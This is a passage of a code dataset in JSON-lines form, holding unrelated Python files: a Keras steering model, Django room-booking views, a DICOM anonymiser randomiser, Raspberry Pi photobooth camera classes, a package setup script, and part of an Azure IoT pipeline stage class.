value\n\t\n\tk = k + 1\n\nfor x in d1.keys():\n\t\n\tlrmsdloc = d1[x][0]\n\tlrmsdens = d1[x][1]\n\tif float(lrmsdloc) > (float(lrmsdens) + var1):\n\t\th.write(\"{},{},{},{},{},{}\\n\".format(x[0],x[1],x[2],x[3],lrmsdloc,lrmsdens))\nh.close()\n\n\t\t\n\n\n\n","sub_path":"mut_prop/pot_backbone_change_based_only_on_ensemble.py","file_name":"pot_backbone_change_based_only_on_ensemble.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"77218346","text":"import csv\nimport numpy as np\nfrom click.core import batch\nfrom keras.models import Sequential\nfrom keras.layers import Flatten, Dense, Lambda, Convolution2D, MaxPooling2D, Dropout, Cropping2D, Conv2D\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import shuffle\nfrom keras.layers.advanced_activations import ELU\nfrom keras.optimizers import Adam\nimport cv2\n\ndef generate_samples(paths):\n samples = []\n for path in paths:\n csv_path = path + 'driving_log.csv'\n with open(csv_path) as csvfile:\n reader = csv.reader(csvfile)\n for i, line in enumerate(reader):\n samples.append(line)\n\n print(\"Testing data number:\", len(samples))\n\n return samples\n\n\ndef generator(samples, split_str, batch_size_=64):\n correction = 0.2\n num_samples = len(samples)\n while 1: # Loop forever so the generator never terminates\n shuffle(samples)\n for offset in range(0, num_samples, batch_size_):\n batch_samples = samples[offset:offset + batch_size_]\n\n images = []\n angles = []\n for batch_sample in batch_samples:\n source_path = batch_sample[0]\n current_path = '../../' + source_path.split(split_str)[-1].replace('\\\\', '/')\n # current_path = '../track1/data/data/' + source_path\n\n image = cv2.imread(current_path)\n angle = float(batch_sample[3])\n images.append(image)\n angles.append(angle)\n\n source_path = batch_sample[1]\n current_path = '../../' + source_path.split(split_str)[-1].replace('\\\\', '/')\n # current_path = '../track1/data/data/' + source_path\n\n image = cv2.imread(current_path)\n angle = float(batch_sample[3])\n images.append(image)\n angles.append(angle+correction)\n\n source_path = batch_sample[2]\n current_path = '../../' + source_path.split(split_str)[-1].replace('\\\\', '/')\n # current_path = '../track1/data/data/' + source_path\n\n image = cv2.imread(current_path)\n angle = float(batch_sample[3])\n images.append(image)\n angles.append(angle-correction)\n\n # trim image to only see section with road\n X_train = np.array(images)\n y_train = np.array(angles)\n yield shuffle(X_train, y_train)\n\ndef InitialModel():\n model = Sequential()\n model.add(Lambda(lambda x: x/255.0, input_shape=(160,320,3)))\n model.add(Flatten())\n model.add(Dense(1))\n\n return model\n\ndef LeNet():\n leNetModel = Sequential()\n #LeNet.add(Cropping2D(cropping=((40,20),(0,0)), input_shape=(160,320,3)))\n leNetModel.add(Lambda(lambda x: (x / 255.0) - 0.5, input_shape=(160,320,3)))\n\n leNetModel.add(Convolution2D(6, 5, 5, subsample=(1, 1), border_mode='valid', activation='elu'))\n leNetModel.add(MaxPooling2D(pool_size=(2, 2), strides=(2,2), border_mode='valid'))\n\n leNetModel.add(Convolution2D(16, 5, 5, subsample=(1, 1), border_mode=\"valid\", activation='elu'))\n leNetModel.add(MaxPooling2D(pool_size=(2, 2), strides=(2,2), border_mode='valid'))\n\n leNetModel.add(Flatten())\n\n leNetModel.add(Dropout(0.5))\n leNetModel.add(Dense(120, activation='elu'))\n\n leNetModel.add(Dropout(0.5))\n leNetModel.add(Dense(84, activation='elu'))\n\n leNetModel.add(Dense(10, activation='elu'))\n\n leNetModel.add(Dense(1))\n return leNetModel\n\ndef Nvidia():\n model = Sequential()\n model.add(Cropping2D(cropping=((40, 20), (0, 0)), input_shape=(160, 320, 3)))\n model.add(Lambda(lambda x: (x / 255.0) - 0.5, input_shape=(64, 64, 3)))\n model.add(Conv2D(24, (5, 5), activation=\"relu\", strides=(2, 2)))\n model.add(Conv2D(36, (5, 5), activation=\"relu\", strides=(2, 2)))\n model.add(Conv2D(48, (5, 5), activation=\"relu\", strides=(2, 2)))\n model.add(Conv2D(64, (3, 3), activation=\"relu\"))\n model.add(Conv2D(64, (3, 3), activation=\"relu\"))\n model.add(Flatten())\n model.add(Dropout(0.5))\n model.add(Dense(100))\n model.add(Dense(50))\n model.add(Dense(10))\n model.add(Dense(1))\n return model\n\nepochs = 30\nbatch_size = 8\nmodel = Nvidia()\n#model = LeNet()\n# model = InitialModel()\n\n# model.compile(optimizer=Adam(lr=0.001), loss='mse')\n# # model.summary()\n# # model.fit(x=X_train, y=y_train, epochs=epochs, batch_size=batch_size, validation_split=0.2, shuffle=True)\n# model.fit(X_train, y_train, validation_split=0.2, shuffle=True, nb_epoch=epochs)\n\n# paths, split_str = ['../track1/2labs_center/', '../track1/1lab_recovery/', '../track1/1lab_smothcurve/', '../track1/FirstRecord/', '../track1/Recover/', '../track1/Recover2/'], 'Behavioral_cloning'\npaths, split_str = ['../../track1/data/'], '07_Behavioral_Cloning'\nsamples = generate_samples(paths)\ntrain_samples, validation_samples = train_test_split(samples, test_size=0.15)\npath = []\ntrain_generator = generator(train_samples, split_str=split_str, batch_size_=batch_size)\nvalidation_generator = generator(validation_samples, split_str=split_str, batch_size_=batch_size)\n\nmodel.compile(loss='mse', optimizer='adam')\nhistory_object = model.fit_generator(train_generator,\n steps_per_epoch=len(train_samples) / batch_size,\n validation_data=validation_generator,\n validation_steps=len(validation_samples) / batch_size,\n epochs=epochs)\n\n\n\nsave_str = \"Nvidia\" + '_e' + str(epochs) + '_b' + str(batch_size) + '.h5'\nmodel.save(save_str)\nprint(save_str)\n\n# plot the training and validation loss for each epoch\nfrom matplotlib import pyplot as plt\nprint(\"Training loss: \", history_object.history['loss'])\nprint(\"Validation loss: \", history_object.history['val_loss'])\nplt.plot(history_object.history['loss'])\nplt.plot(history_object.history['val_loss'])\nplt.title('model mean squared error loss')\nplt.ylabel('mean squared error loss')\nplt.xlabel('epoch')\nplt.legend(['training set', 'validation set'], loc='upper right')\nplt.show()","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"532608545","text":"from builtins import object\nfrom datetime import date, datetime\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required, permission_required\nfrom django.contrib.auth.handlers.modwsgi import groups_for_user\nfrom django.contrib.auth.models import Group, User\nfrom django.shortcuts import redirect, render\nfrom django.template.context_processors import request\nfrom room.models import Booking, Room\n\n# Create your views here.\n\n\n# For User-------------------------------------------------------------------------\n\n@login_required\n@permission_required('room.add_booking')\ndef index(request):\n context = {}\n room_exclude = [] #เก็บ id ห้องที่มีการจ้องไว้แล้ว เพื่มนำไป exclude ออก\n\n time_list = [] #เก็บเวลาเปิด/ปิดของห้องที่มี\n time_id = [] #เก็บ id ของห้องเพื่อเอาไป filter\n\n room_txt = request.POST.get('room_name', '')\n day_txt = request.POST.get('day', '')\n time_txt = request.POST.get('time', '').split(\"-\")\n\n room = Room.objects.filter(name__icontains=room_txt)\n \n # ดึงเวลาค่าเดียวในกรณีที่มีห้องเปิดเวลาเดียวกัน\n for i in Room.objects.all(): \n time_str = str(i.open_time)+\" - \"+str(i.close_time) #แปลงเวลาเปิด/ปิด ของห้อง เป็น Str\n if time_str not in time_list: #ถ้าค่าของไม่มีเวลาเปิด/ปิดห้อง ใน time_list ก็จะทำการเพิ่ม และ เพิ่ม id ของห้องใน time_id\n time_list.append(time_str)\n time_id.append(i.room_id)\n\n if request.method == \"POST\":\n if len(time_txt) != 1 and day_txt:\n # ดึงการจอง ที่มีค่าเท่ากับ ค่าที่ input จาก form\n booking = Booking.objects.filter(date=day_txt, start_time__gte=datetime.strptime(\n time_txt[0], '%H:%M').time(), end_time__gte=datetime.strptime(time_txt[0], '%H:%M').time(), status__in=['รอการอนุมัติ', 'อนุมัติ'])\n\n # เก็บ id ของห้องที่มีการจองไว้ใน list\n for i in booking:\n room_exclude.append(i.room_id)\n\n # เอาห้องที่มี id ตรงกับค่าใน room_exclude ออก\n room = Room.objects.exclude(room_id__in=room_exclude)\n\n # ดึงห้องที่มี เวลาว่างของห้องตรงกับ input\n room = room.filter(open_time=time_txt[0], close_time=time_txt[1])\n \n context['room'] = room\n context['room_time'] = Room.objects.filter(room_id__in=time_id)\n\n return render(request, 'room/user_index.html', context=context)\n\n\n@login_required\n@permission_required('room.add_booking')\ndef detail(request, id):\n room = Room.objects.get(pk=id)\n context = {\n 'room': room\n }\n\n if request.method == \"POST\":\n day = request.POST.get('day')\n # สร้างการจอง\n book = Booking(room_id=id, date=day, start_time=request.POST.get('start'), end_time=request.POST.get('end'), description=request.POST.get(\n 'description'), book_by_id=request.user.id, status=\"รอการอนุมัติ\", status_remark=\"รอการอนุมัติ\", book_date=date.today())\n\n start = datetime.strptime(book.start_time, '%H:%M').time()\n end = datetime.strptime(book.end_time, '%H:%M').time()\n print()\n\n # เช็คว่าห้องที่จะจอง มีการจองแล้วหรือยัง\n booking = Booking.objects.filter(date=day, room_id=id, status__in=['รอการอนุมัติ', 'อนุมัติ']) \n if booking:\n context['error'] = 'ห้องนี้มีการจองแล้ว'\n\n # เช็คว่าเวลาที่จองห้องอยู่ในช่วงเวลา เปิด-ปิด ของห้องหรือไม่\n elif start >= room.open_time and end <= room.close_time:\n book.save()\n\n else:\n context['error'] = 'โปรดใส่ระยะเวลาการจองให้อยู่ในช่วงเวลา เปิด/ปิด ของห้อง'\n\n return render(request, 'room/user_detail.html', context=context)\n\n\n@login_required\n@permission_required('room.add_booking')\ndef room_request(request, user_id):\n context = {\n 'booking': Booking.objects.filter(book_by_id=user_id),\n }\n\n return render(request, 'room/user_room_request.html', context=context)\n\n# For Admin -------------------------------------------------------------------------\n\n\n@login_required\n@permission_required('room.change_room')\ndef manage(request):\n room = Room.objects.all() \n if request.method == \"GET\":\n room = Room.objects.filter(\n name__icontains=request.GET.get('room_name', ''))\n context = {\n 'room': room\n }\n return render(request, 'room/admin_manage.html', context=context)\n\n\n@login_required\n@permission_required('room.change_room')\ndef edit_add(request, id):\n context = {}\n \n # ถ้า id > 0 เข้าเงื่อนไขการแก้ไขห้อง\n if id > 0: \n room = Room.objects.get(pk=id)\n context = {\n 'room': room,\n 'check': 'check'\n }\n if request.method == \"POST\":\n # แก้ไขข้อมูลห้องในฐานข้อมูล\n room.name = request.POST.get('roomname')\n room.open_time = request.POST.get('start')\n room.close_time = request.POST.get('end')\n room.capacity = request.POST.get('capacity')\n room.save()\n return redirect('manage')\n\n # ถ้า id = 0 เข้าเงื่อนไขการสร้างห้องใหม่\n else: \n if request.method == \"POST\":\n new_room = Room(name=request.POST.get('roomname'), open_time=request.POST.get(\n 'start'), close_time=request.POST.get('end'), capacity=request.POST.get('capacity'))\n new_room.save()\n return redirect('manage')\n \n return render(request, 'room/admin_edit_add.html', context=context)\n\n\n@login_required\n@permission_required('room.change_room')\ndef delete_room(request, id):\n # ลบห้องในฐานข้อมูล\n room = Room.objects.get(pk=id)\n room.delete()\n print(room)\n return redirect('manage')\n\n\n@login_required\n@permission_required('room.change_room')\ndef accept(request):\n context = {\n 'booking': Booking.objects.all(),\n }\n return render(request, 'room/admin_accept.html', context=context)\n\n\n@login_required\n@permission_required('room.change_room')\ndef accept_detail(request, id):\n context = {}\n book = Booking.objects.get(book_id=id)\n user = User.objects.get(id=book.book_by_id)\n \n context['booking'] = book\n context['user_book'] = user\n\n if request.method == \"POST\":\n if request.POST.get('action') == 'accept':\n book.status_remark = request.POST.get('description')\n book.status = 'อนุมัติ'\n else:\n book.status_remark = request.POST.get('description')\n book.status = 'ปฏิเสธ'\n book.save()\n context['success'] = 'การอนุมัติ/ปฏิเสธ สำเร็จ!'\n\n return render(request, 'room/admin_accept_detail.html', context=context)\n","sub_path":"e_booking/room/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"59240068","text":"import hashlib\r\nimport os\r\n\r\n\r\nclass Randomizer:\r\n def __init__(self, seed):\r\n \"\"\"\\\r\n Create a new Randomizer.\r\n\r\n Parameters\r\n ----------\r\n seed\r\n Not intended for general use. Seeds the data randomizer so it\r\n produces consistent results when anonymizing elements with the\r\n same initial values.\r\n \"\"\"\r\n if seed is None:\r\n seed = os.urandom(20)\r\n self.seed = str(seed)\r\n\r\n def to_int(self, original_value):\r\n \"\"\"\\\r\n Convert an original data element value into a large integer,\r\n which can be used to select or construct a replacement value.\r\n\r\n Parameters\r\n ----------\r\n original_value\r\n The original value that will ultimately be replaced.\r\n \"\"\"\r\n message = self.seed + str(original_value)\r\n encoded = message.encode(\"utf8\")\r\n hash = hashlib.md5(encoded).digest()\r\n result = 0\r\n for c in hash:\r\n result *= 0x100\r\n result += c\r\n return result\r\n\r\n def get_ints_from_ranges(self, original_value, *suprenums):\r\n \"\"\"\\\r\n Convert an original data element value into a series of\r\n integers, each between 0 (inclusive) and one of the suprenums\r\n (exclusive) passed in.\r\n\r\n Parameters\r\n ----------\r\n original_value\r\n The original value that will ultimately be replaced.\r\n\r\n suprenums : sequence of int\r\n The upper bounds for each of the desired integer ranges.\r\n \"\"\"\r\n big_int = self.to_int(original_value)\r\n result = []\r\n for s in suprenums:\r\n result.append(big_int % s)\r\n big_int //= s\r\n return result\r\n","sub_path":"src/dicognito/randomizer.py","file_name":"randomizer.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"3310538","text":"# -*- coding: utf-8 -*-\n\n\nimport io\nimport time\nimport subprocess\nimport pygame\nimport picamera\ntry:\n import gphoto2 as gp\nexcept ImportError:\n gp = None # gphoto2 is optional\nfrom PIL import Image, ImageFont, ImageDraw\nfrom pibooth import pictures, fonts\nfrom pibooth.utils import LOGGER, PoolingTimer, timeit\n\n\ndef rpi_camera_connected():\n \"\"\"Return True if a RPi camera is found.\n \"\"\"\n try:\n process = subprocess.Popen(['vcgencmd', 'get_camera'],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, _stderr = process.communicate()\n if stdout and u'detected=1' in stdout.decode('utf-8'):\n return True\n except OSError:\n pass\n return False\n\n\ndef gp_camera_connected():\n \"\"\"Return True if a camera compatible with gphoto2 is found.\n \"\"\"\n if not gp:\n return False # gphoto2 is not installed\n if hasattr(gp, 'gp_camera_autodetect'):\n # gphoto2 version 2.5+\n cameras = gp.check_result(gp.gp_camera_autodetect())\n else:\n port_info_list = gp.PortInfoList()\n port_info_list.load()\n abilities_list = gp.CameraAbilitiesList()\n abilities_list.load()\n cameras = abilities_list.detect(port_info_list)\n if cameras:\n return True\n\n return False\n\n\nclass BaseCamera(object):\n\n def __init__(self, resolution):\n self._cam = None\n self._border = 50\n self._window = None\n self.resolution = resolution\n\n def get_rect(self):\n \"\"\"Return a Rect object (as defined in pygame) for resizing preview and images\n in order to fit to the defined window.\n \"\"\"\n rect = self._window.get_rect()\n res = pictures.resize_keep_aspect_ratio(self.resolution,\n (rect.width - 2 * self._border, rect.height - 2 * self._border))\n return pygame.Rect(rect.centerx - res[0] // 2, rect.centery - res[1] // 2, res[0], res[1])\n\n def get_overlay(self, size, text, alpha):\n \"\"\"Return a PIL image with the given text that can be used\n as an overlay for the camera.\n \"\"\"\n font = ImageFont.truetype(fonts.get_filename(\"Amatic-Bold.ttf\"), size[1] * 8 // 10)\n image = Image.new('RGBA', size)\n draw = ImageDraw.Draw(image)\n txt_width, txt_height = draw.textsize(text, font=font)\n position = ((size[0] - txt_width) // 2, (size[1] - txt_height) // 2 - size[1] // 10)\n draw.text(position, text, (255, 255, 255, alpha), font=font)\n return image\n\n\nclass RpiCamera(BaseCamera):\n\n \"\"\"Camera management\n \"\"\"\n\n def __init__(self, iso=200, resolution=(1920, 1080), rotation=0, flip=False):\n BaseCamera.__init__(self, resolution)\n self._cam = picamera.PiCamera()\n self._cam.framerate = 15 # Slower is necessary for high-resolution\n self._cam.video_stabilization = True\n self._cam.vflip = False\n self._cam.hflip = flip\n self._cam.resolution = resolution\n self._cam.iso = iso\n self._cam.rotation = rotation\n\n def preview(self, window, flip=True):\n \"\"\"Display a preview on the given Rect (flip if necessary).\n \"\"\"\n self._window = window\n rect = self.get_rect()\n if self._cam.hflip:\n if flip:\n # Don't flip again, already done at init\n flip = False\n else:\n # Flip again because flipped once at init\n flip = True\n self._cam.start_preview(resolution=(rect.width, rect.height), hflip=flip,\n fullscreen=False, window=tuple(rect))\n\n def preview_countdown(self, timeout, alpha=60):\n \"\"\"Show a countdown of `timeout` seconds on the preview.\n Returns when the countdown is finished.\n \"\"\"\n timeout = int(timeout)\n if timeout < 1:\n raise ValueError(\"Start time shall be greater than 0\")\n if not self._cam.preview:\n raise EnvironmentError(\"Preview shall be started first\")\n\n # Create an image padded to the required size\n rect = self.get_rect()\n size = (((rect.width + 31) // 32) * 32, ((rect.height + 15) // 16) * 16)\n\n while timeout > 0:\n image = self.get_overlay(size, str(timeout), alpha)\n overlay = self._cam.add_overlay(image.tobytes(), image.size, layer=3,\n window=tuple(rect), fullscreen=False)\n time.sleep(1)\n timeout -= 1\n self._cam.remove_overlay(overlay)\n\n def preview_wait(self, timeout):\n \"\"\"Wait the given time.\n \"\"\"\n time.sleep(timeout)\n\n def stop_preview(self):\n \"\"\"Stop the preview.\n \"\"\"\n self._cam.stop_preview()\n self._window = None\n\n def capture(self, filename=None):\n \"\"\"Capture a picture in a file. If no filename given a PIL image\n is returned.\n \"\"\"\n if filename:\n self._cam.capture(filename)\n return filename\n else:\n # Create the in-memory stream\n stream = io.BytesIO()\n self._cam.capture(stream)\n # \"Rewind\" the stream to the beginning so we can read its content\n stream.seek(0)\n return Image.open(stream)\n\n def quit(self):\n \"\"\"Close the camera driver, it's definitive.\n \"\"\"\n self._cam.close()\n\n\nclass GpCamera(BaseCamera):\n\n \"\"\"Gphoto2 camera management.\n \"\"\"\n\n def __init__(self, iso=200, resolution=(1920, 1080), rotation=0, flip=False):\n BaseCamera.__init__(self, resolution)\n gp.check_result(gp.use_python_logging())\n self._cam = gp.Camera()\n self._cam.init()\n self._config = self._cam.get_config()\n\n self._preview_hflip = False\n self._capture_hflip = flip\n self._rotation = rotation\n self._set_config_value('imgsettings', 'iso', iso)\n self._cam.set_config(self._config)\n\n def _set_config_value(self, section, option, value):\n \"\"\"Set camera configuration. This method dont send the updated\n configuration to the camera (avoid connection flooding if several\n values to be changed)\n \"\"\"\n try:\n LOGGER.debug('Setting option %s/%s=%s', section, option, value)\n child = self._config.get_child_by_name(section).get_child_by_name(option)\n choices = [c for c in child.get_choices()]\n if not choices or value in choices:\n child.set_value(str(value))\n else:\n LOGGER.warning(\"Invalid value '%s' for option %s (possible choices: %s)\", value, option, choices)\n except gp.GPhoto2Error:\n raise ValueError('Unsupported setting {}/{}={}'.format(section, option, value))\n\n def _get_preview_image(self):\n \"\"\"Capture a new preview image.\n \"\"\"\n with timeit('Capturing new preview image'):\n camera_file = self._cam.capture_preview()\n file_data = gp.check_result(gp.gp_file_get_data_and_size(camera_file))\n image = Image.open(io.BytesIO(memoryview(file_data)))\n if self._preview_hflip:\n image = image.transpose(Image.FLIP_LEFT_RIGHT)\n\n image = image.resize(pictures.resize_keep_aspect_ratio(image.size, self.resolution, 'outer'))\n image = image.crop(pictures.resize_by_croping(image.size, self.resolution))\n\n # Resize to the window rect (outer because rect already resized innner, see 'get_rect')\n rect = self.get_rect()\n return image.resize(pictures.resize_keep_aspect_ratio(image.size, (rect.width, rect.height), 'outer'))\n\n def preview(self, window, flip=True):\n \"\"\"Setup the preview.\n \"\"\"\n self._window = window\n self._preview_hflip = flip\n self._window.show_image(self._get_preview_image())\n\n def preview_countdown(self, timeout, alpha=60):\n \"\"\"Show a countdown of `timeout` seconds on the preview.\n Returns when the countdown is finished.\n \"\"\"\n timeout = int(timeout)\n if timeout < 1:\n raise ValueError(\"Start time shall be greater than 0\")\n\n overlay = None\n timer = PoolingTimer(timeout)\n while not timer.is_timeout():\n image = self._get_preview_image()\n remaining = int(timer.remaining() + 1)\n if not overlay or remaining != timeout:\n # Rebluid overlay only if remaining number has changed\n overlay = self.get_overlay(image.size, str(remaining), alpha)\n timeout = remaining\n image.paste(overlay, (0, 0), overlay)\n self._window.show_image(image)\n\n def preview_wait(self, timeout):\n \"\"\"Wait the given time and refresh the preview.\n \"\"\"\n timeout = int(timeout)\n if timeout < 1:\n raise ValueError(\"Start time shall be greater than 0\")\n\n timer = PoolingTimer(timeout)\n while not timer.is_timeout():\n self._window.show_image(self._get_preview_image())\n\n def stop_preview(self):\n \"\"\"Stop the preview.\n \"\"\"\n self._window = None\n\n def capture(self, filename=None):\n \"\"\"Capture a picture in a file. If no filename given a PIL image\n is returned.\n \"\"\"\n camera_file = self._cam.capture_preview()\n file_data = gp.check_result(gp.gp_file_get_data_and_size(camera_file))\n image = Image.open(io.BytesIO(memoryview(file_data)))\n image = image.resize(pictures.resize_keep_aspect_ratio(image.size, self.resolution, 'outer'), Image.ANTIALIAS)\n image = image.crop(pictures.resize_by_croping(image.size, self.resolution))\n\n # Resize to the window rect (outer because rect already resized innner, see 'get_rect')\n rect = self.get_rect()\n size = pictures.resize_keep_aspect_ratio(image.size, (rect.width, rect.height), 'outer')\n\n if self._preview_hflip:\n self._window.show_image(image.transpose(Image.FLIP_LEFT_RIGHT).resize(size))\n else:\n self._window.show_image(image.resize(size))\n\n if self._capture_hflip:\n image = image.transpose(Image.FLIP_LEFT_RIGHT)\n if filename:\n image.save(filename)\n return filename\n else:\n return image\n\n def quit(self):\n \"\"\"Close the camera driver, it's definitive.\n \"\"\"\n self._cam.exit()\n","sub_path":"pibooth/controls/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":10489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"255533407","text":"from typing import Union\n\nfrom setuptools import setup, find_packages\nfrom setuptools.command.develop import develop\nfrom setuptools.command.install import install\nfrom assnake.utils import get_config_loc, load_config_file\nimport os, shutil\nimport click\n\n\ndef prepare_params():\n if os.path.isfile(get_config_loc()):\n config = load_config_file()\n os.makedirs(os.path.join(config['assnake_db'], 'params/tmtic'), exist_ok=True)\n\n shutil.copyfile('./assnake_core_preprocessing/trimmomatic/def.json', os.path.join(config['assnake_db'], 'params/tmtic/def.json'))\n\n dest_folder = os.path.join(config['assnake_db'], 'params/tmtic/adapters')\n\n if os.path.exists(dest_folder):\n shutil.rmtree(dest_folder)\n shutil.copytree('./assnake_core_preprocessing/trimmomatic/adapters', dest_folder)\n\n\n\n\n\nclass PostDevelopCommand(develop):\n \"\"\"Post-installation for development mode.\"\"\"\n def run(self):\n prepare_params()\n develop.run(self)\n\nclass PostInstallCommand(install):\n \"\"\"Post-installation for installation mode.\"\"\"\n def run(self):\n prepare_params()\n install.run(self)\n\n\nsetup(\n name='assnake-core-preprocessing',\n version='0.5.2',\n include_package_data=True,\n license='MIT', \n description = 'Reads preprocessing module for assnake', \n author = 'Dmitry Fedorov', \n author_email = 'fedorov.de@gmail.com', \n url = 'https://github.com/ASSNAKE/assnake-core-preprocessing', \n # download_url = 'https://github.com/ASSNAKE/assnake/archive/v0.8.8.tar.gz', # I explain this later on\n keywords = ['ILLUMINA', 'NGS', 'METAGENOMIC', 'DATA'], \n packages=find_packages(),\n entry_points = {\n 'assnake.plugins': ['assnake-core-preprocessing = assnake_core_preprocessing.snake_module_setup:snake_module']\n },\n install_requires=[\n 'assnake'\n ],\n cmdclass={\n 'develop': PostDevelopCommand,\n 'install': PostInstallCommand,\n }\n)","sub_path":"pypi_install_script/assnake-core-preprocessing-0.5.2.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"2459268","text":"# --------------------------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n# --------------------------------------------------------------------------\n\nimport logging\nimport abc\nimport six\nimport sys\nfrom six.moves import queue\nfrom . import pipeline_ops_base\n\nlogger = logging.getLogger(__name__)\n\n\n@six.add_metaclass(abc.ABCMeta)\nclass PipelineStage(object):\n \"\"\"\n Base class representing a stage in the processing pipeline. Each stage is responsible for receiving\n PipelineOperation objects from the top, possibly processing them, and possibly passing them down. It\n is also responsible for receiving PipelineEvent objects from the bottom, possibly processing them, and\n possibly passing them up.\n\n Each PipelineStage in the pipeline, is expected to act on some well-defined set of PipelineOperation\n types and/or some set of PipelineEvent types. If any stage does not act on an operation or event, it\n should pass it to the next stage (for operations) or the previous stage (for events). In this way, the\n pipeline implements the \"chain of responsibility\" design pattern (Gamma, et.al. \"Design Patterns\".\n Addison Wesley. 1995), with each stage being responsible for implementing some \"rule\" or \"policy\" of the\n pipeline, and each stage being ignorant of the stages that are before or after it in the pipeline.\n\n Each stage in the pipeline should act on the smallest set of rules possible, thus making stages small\n and easily testable. Complex logic should be the exception and not the rule, and complex stages should\n operate on the most generic type of operation possible, thus allowing us to re-use complex logic for\n multiple cases. The best way to do this is with \"converter\" stages that convert a specific operation to\n a more general one and with other converter stages that convert general operations to more specific ones.\n\n An example of a specific-to-generic stage is UseSkAuthProvider which takes a specific operation\n (use an auth provider) and converts it into something more generic (here is your device_id, etc, and use\n this SAS token when connecting).\n\n An example of a generic-to-specific stage is IotHubMQTTConverter which converts IotHub operations\n (such as SendTelemetry) to MQTT operations (such as Publish).\n\n Each stage should also work in the broadest domain possible. For example a generic stage (say\n \"EnsureConnection\") that initiates a connection if any arbitrary operation needs a connection is more useful\n than having some MQTT-specific code that re-connects to the MQTT broker if the user calls Publish and\n there's no connection.\n\n One way to think about stages is to look at every \"block of functionality\" in your code and ask yourself\n \"is this the one and only time I will need this code\"? If the answer is no, it might be worthwhile to\n implement that code in it's own stage in a very generic way.\n\n\n :ivar name: The name of the stage. This is used primarily for logging\n :type name: str\n :ivar next: The next stage in the pipeline. Set to None if this is the last stage in the pipeline.\n :type next: PipelineStage\n :ivar previous: The previous stage in the pipeline. Set to None if this is the first stage in the pipeline.\n :type previous: PipelineStage\n :ivar pipeline_root: The first stage (root) of the pipeline. This is useful if a stage wants to\n submit an operation to the pipeline starting at the root. This type of behavior is uncommon but not\n unexpected.\n :type pipeline_root: PipelineStage\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Initializer for PipelineStage objects.\n \"\"\"\n self.name = self.__class__.__name__\n self.next = None\n self.previous = None\n self.pipeline_root = None\n\n def run_op(self, op):\n \"\"\"\n Run the given operation. This is the public function that outside callers would call to run an\n operation. Derived classes should override the private _run_op function to implement\n stage-specific behavior. When run_op returns, that doesn't mean that the operation has executed\n to completion. Rather, it means that the pipeline has done something that will cause the\n operation to eventually execute to completion. That might mean that something was sent over\n the network and some stage is waiting for a reply, or it might mean that the operation is sitting\n in a queue until something happens, or it could mean something entirely different. The only\n thing you can assume is that the operation will _eventually_ complete successfully or fail, and the\n operation's callback will be called when that happens.\n\n :param PipelineOperation op: The operation to run.\n \"\"\"\n logger.info(\"{}({}): running\".format(self.name, op.name))\n try:\n self._run_op(op)\n except: # noqa: E722 do not use bare 'except'\n _, e, _ = sys.exc_info()\n logger.error(msg=\"Error in {}._run_op() call\".format(self), exc_info=e)\n op.error = e\n self.complete_op(op)\n\n @abc.abstractmethod\n def _run_op(self, op):\n \"\"\"\n Abstract method to run the actual operation. This function is implemented in derived classes\n and performs the actual work that any operation expects. The default behavior for this function\n should be to forward the event to the next stage using PipelineStage.continue_op for any\n operations that a particular stage might not operate on.\n\n See the description of the run_op method for more discussion on what it means to \"run\" an operation.\n\n :param PipelineOperation op: The operation to run.\n \"\"\"\n pass\n\n def run_ops_serial(self, *args, **kwargs):\n \"\"\"\n Run the operations passed in *args in a serial manner, such that each operation waits for the\n previous operation to be completed before running.\n\n In normal operation, the first operation will be passed down to the next stage to run. That\n stage will process it, pass it down, or whatever needs to be done to handle that operation.\n After that operation travels all the way down the pipeline and the result of the operation is\n returned via the operation's callback, the next operation will be passed down and execute.\n When the second operation's callback is called, the third operation will begin, and so on.\n After all of the operations run, the callback passed into run_ops_serial will be called to\n return the \"final result\" back to the caller.\n\n The finally_op parameter is used to provide an operation that will always be run as the last\n operation, even if one of the earlier operation fails.\n\n If an operation fails, the operations in *args that follow will not be run. However, the\n operation passed using the finally_op will be run.\n\n After all operations and the finally_op (if provided) are run, then the function passed in\n the callback parameter will be called, passing the last operation executed (in the event of\n success) or the failing operation (in the event of failure).\n\n :param PipelineOperation[] *args: Operations to run serially. These operations will be run\n one-after-another which each operation only running after the previous operations have all\n run. If one of these operations fail, all subsequent operations will not execute and the\n failed operation will be passed as a parameter to the callback with the error attribute\n set to the cause of the failure.\n :param PipelineOperation finally_op: Operation to run last. This will be called regardless\n of success or failure of the operations passed in *args\n :param Function callback: Callback to execute when all operations have completed. The last\n operation executed will be passed as the parameter to this function.\n \"\"\"\n worklist = queue.Queue()\n for arg in args:\n worklist.put_nowait(arg)\n finally_op = kwargs.get(\"finally_op\", None)\n callback = kwargs.get(\"callback\", None)\n\n if len([x for x in kwargs.keys() if x not in [\"finally_op\", \"callback\"]]):\n raise TypeError(\"finally_op and callback are the only allowed keyword args\")\n if not callback:\n raise TypeError(\"callback is required\")\n\n def on_last_op_done(last_op):\n if finally_op:\n\n def on_finally_done(finally_op):\n logger.info(\n \"{}({}):run_ops_serial: finally_op done.\".format(self.name, finally_op.name)\n )\n if last_op.error:\n logger.info(\n \"{}({}):run_ops_serial: copying error from {}.\".format(\n self.name, finally_op.name, last_op.name\n )\n )\n finally_op.error = last_op.error\n try:\n logger.info(\n 